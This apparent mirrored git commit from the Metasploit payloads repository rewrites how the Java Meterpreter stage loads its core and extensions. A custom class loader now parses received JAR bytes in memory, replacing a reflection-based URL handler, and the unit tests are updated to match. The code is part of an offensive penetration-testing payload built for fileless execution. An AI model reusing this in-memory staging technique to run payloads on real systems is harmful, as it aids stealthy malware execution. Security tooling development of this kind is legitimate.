mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-12 12:14:29 +01:00
Initial work to replace URL hack - manually parse a JAR file
This commit is contained in:
parent
dcaad10486
commit
b158f2c4e4
@ -0,0 +1,52 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.HashMap;
|
||||
import java.util.zip.ZipInputStream;
|
||||
import java.util.zip.ZipEntry;
|
||||
|
||||
public class JarFileClassLoader extends ClassLoader {
|
||||
|
||||
HashMap<String, byte[]> classBytes = new HashMap();
|
||||
|
||||
public void addJarFile(byte[] jarFile) throws java.io.IOException {
|
||||
ZipInputStream zipReader = new ZipInputStream(new ByteArrayInputStream(jarFile));
|
||||
ZipEntry zipEntry;
|
||||
while ((zipEntry = zipReader.getNextEntry()) != null) {
|
||||
String name = zipEntry.getName();
|
||||
String classSuffix = ".class";
|
||||
if (name.endsWith(classSuffix)) {
|
||||
ByteArrayOutputStream classStream = new ByteArrayOutputStream();
|
||||
final byte[] classfile = new byte[10000];
|
||||
|
||||
int result;
|
||||
while ((result = zipReader.read(classfile, 0, classfile.length)) != -1) {
|
||||
classStream.write(classfile, 0, result);
|
||||
}
|
||||
|
||||
String packagedName = name.replace("/",".").replace("\\",".").substring(0, name.length() - classSuffix.length());
|
||||
classBytes.put(packagedName, classStream.toByteArray());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Class findClass(String name) throws ClassNotFoundException {
|
||||
byte[] classfile = classBytes.getOrDefault(name, null);
|
||||
if (classfile == null) {
|
||||
throw new ClassNotFoundException();
|
||||
}
|
||||
return defineClass(name, classfile, 0, classfile.length, null);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Class loadClass(String name) throws ClassNotFoundException {
|
||||
try {
|
||||
return super.loadClass(name);
|
||||
} catch (ClassNotFoundException e) {
|
||||
return findClass(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1,108 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* An {@link URLConnection} for an URL that is stored completely in memory.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class MemoryBufferURLConnection extends URLConnection {
|
||||
|
||||
private static List files;
|
||||
|
||||
static {
|
||||
// tweak the cache of already loaded protocol handlers via reflection
|
||||
try {
|
||||
Field fld;
|
||||
try {
|
||||
fld = URL.class.getDeclaredField("handlers");
|
||||
} catch (NoSuchFieldException ex) {
|
||||
try {
|
||||
// GNU Classpath (libgcj) calls this field differently
|
||||
fld = URL.class.getDeclaredField("ph_cache");
|
||||
} catch (NoSuchFieldException ex2) {
|
||||
// throw the original exception
|
||||
throw ex;
|
||||
}
|
||||
}
|
||||
fld.setAccessible(true);
|
||||
Map handlers = (Map) fld.get(null);
|
||||
// Note that although this is a static initializer, it can happen
|
||||
// that two threads are entering this spot at the same time: When
|
||||
// there is more than one classloader context (e. g. in a servlet
|
||||
// container with Spawn=0) and more than one of them is loading
|
||||
// a copy of this class at the same time. Work around this by
|
||||
// letting all of them use the same URL stream handler object.
|
||||
synchronized (handlers) {
|
||||
// do not use the "real" class name here as the same class
|
||||
// loaded in different classloader contexts is not the same
|
||||
// one for Java -> ClassCastException
|
||||
Object /*MemoryBufferURLStreamHandler*/ handler;
|
||||
|
||||
if (handlers.containsKey("metasploitmembuff")) {
|
||||
handler = handlers.get("metasploitmembuff");
|
||||
} else {
|
||||
handler = new MemoryBufferURLStreamHandler();
|
||||
handlers.put("metasploitmembuff", handler);
|
||||
}
|
||||
|
||||
// for the same reason, use reflection to obtain the files List
|
||||
files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
throw new RuntimeException(ex.toString());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a new URL from a byte array and its content type.
|
||||
*/
|
||||
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
|
||||
synchronized (files) {
|
||||
files.add(data);
|
||||
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
|
||||
}
|
||||
}
|
||||
|
||||
private final byte[] data;
|
||||
private final String contentType;
|
||||
|
||||
protected MemoryBufferURLConnection(URL url) {
|
||||
super(url);
|
||||
String file = url.getFile();
|
||||
int pos = file.indexOf('/');
|
||||
synchronized (files) {
|
||||
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
|
||||
}
|
||||
contentType = file.substring(pos + 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect() throws IOException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public InputStream getInputStream() throws IOException {
|
||||
return new ByteArrayInputStream(data);
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getContentLength() {
|
||||
return data.length;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContentType() {
|
||||
return contentType;
|
||||
}
|
||||
}
|
@ -1,27 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.net.URLStreamHandler;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
|
||||
|
||||
private List files = new ArrayList();
|
||||
|
||||
@Override
|
||||
protected URLConnection openConnection(URL u) throws IOException {
|
||||
return new MemoryBufferURLConnection(u);
|
||||
}
|
||||
|
||||
public List getFiles() {
|
||||
return files;
|
||||
}
|
||||
}
|
@ -5,20 +5,24 @@ import java.io.OutputStream;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
import com.metasploit.meterpreter.MemoryBufferURLConnection;
|
||||
import metasploit.Payload;
|
||||
|
||||
import com.metasploit.meterpreter.JarFileClassLoader;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
*/
|
||||
public class Meterpreter implements Stage {
|
||||
public class Meterpreter implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
boolean noRedirectError = parameters[parameters.length - 1].equals("NoRedirect");
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
|
||||
new URLClassLoader(new URL[]{coreURL}, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError));
|
||||
JarFileClassLoader loader = new JarFileClassLoader();
|
||||
loader.addJarFile(core);
|
||||
Class meterpCore = loader.loadClass("com.metasploit.meterpreter.Meterpreter");
|
||||
meterpCore.getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError));
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
|
@ -13,25 +13,10 @@ import java.util.zip.ZipEntry;
|
||||
import junit.framework.Assert;
|
||||
import junit.framework.TestCase;
|
||||
|
||||
import com.metasploit.meterpreter.MemoryBufferURLConnection;
|
||||
import com.metasploit.meterpreter.MeterpDummy;
|
||||
|
||||
public class MeterpreterTest extends TestCase {
|
||||
|
||||
public void testMemoryBufferURLConnection() throws Exception {
|
||||
final String CONTENT_TYPE = "application/x-unit-test-example";
|
||||
byte[] randomData = new byte[4096];
|
||||
new Random().nextBytes(randomData);
|
||||
URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE);
|
||||
URLConnection uc = url.openConnection();
|
||||
uc.connect();
|
||||
Assert.assertEquals(CONTENT_TYPE, uc.getContentType());
|
||||
Assert.assertEquals(4096, uc.getContentLength());
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
StreamForwarder.forward(uc.getInputStream(), out);
|
||||
Assert.assertEquals(new String(randomData, "ISO-8859-1"), out.toString("ISO-8859-1"));
|
||||
}
|
||||
|
||||
public void testMeterpreterStage() throws Exception {
|
||||
// build dummy Meterpreter stage
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
|
@ -39,7 +39,7 @@ import javax.crypto.spec.SecretKeySpec;
|
||||
import junit.framework.Assert;
|
||||
import junit.framework.TestCase;
|
||||
|
||||
import com.metasploit.meterpreter.MemoryBufferURLConnection;
|
||||
import com.metasploit.meterpreter.JarFileClassLoader;
|
||||
|
||||
public class PayloadTest extends TestCase {
|
||||
|
||||
@ -159,7 +159,7 @@ public class PayloadTest extends TestCase {
|
||||
return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[]{String[].class}).invoke(null, new Object[]{new String[0]});
|
||||
}
|
||||
|
||||
private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
|
||||
private JarFileClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName() + ".class"), baos);
|
||||
byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null;
|
||||
@ -197,7 +197,7 @@ public class PayloadTest extends TestCase {
|
||||
jos.close();
|
||||
byte[] payloadJar = baos.toByteArray();
|
||||
final byte[] classToDefine = instrumentedPayloadClass;
|
||||
return new URLClassLoader(new URL[]{MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) {
|
||||
JarFileClassLoader jfcl = new JarFileClassLoader() {
|
||||
{
|
||||
if (classToDefine != null) {
|
||||
defineClass(null, classToDefine, 0, classToDefine.length);
|
||||
@ -227,6 +227,8 @@ public class PayloadTest extends TestCase {
|
||||
return super.getResource(name);
|
||||
}
|
||||
};
|
||||
jfcl.addJarFile(payloadJar);
|
||||
return jfcl;
|
||||
}
|
||||
|
||||
private void handleSocketCommunication(Socket socket) throws Exception {
|
||||
|
@ -292,8 +292,8 @@ public class Meterpreter {
|
||||
public Integer[] loadExtension(byte[] data) throws Exception {
|
||||
ClassLoader classLoader = getClass().getClassLoader();
|
||||
if (loadExtensions) {
|
||||
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
|
||||
classLoader = new URLClassLoader(new URL[]{url}, classLoader);
|
||||
JarFileClassLoader jarLoader = (JarFileClassLoader)classLoader;
|
||||
jarLoader.addJarFile(data);
|
||||
}
|
||||
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
|
||||
String loaderName = jis.getManifest().getMainAttributes().getValue("Extension-Loader");
|
||||
|
Loading…
x
Reference in New Issue
Block a user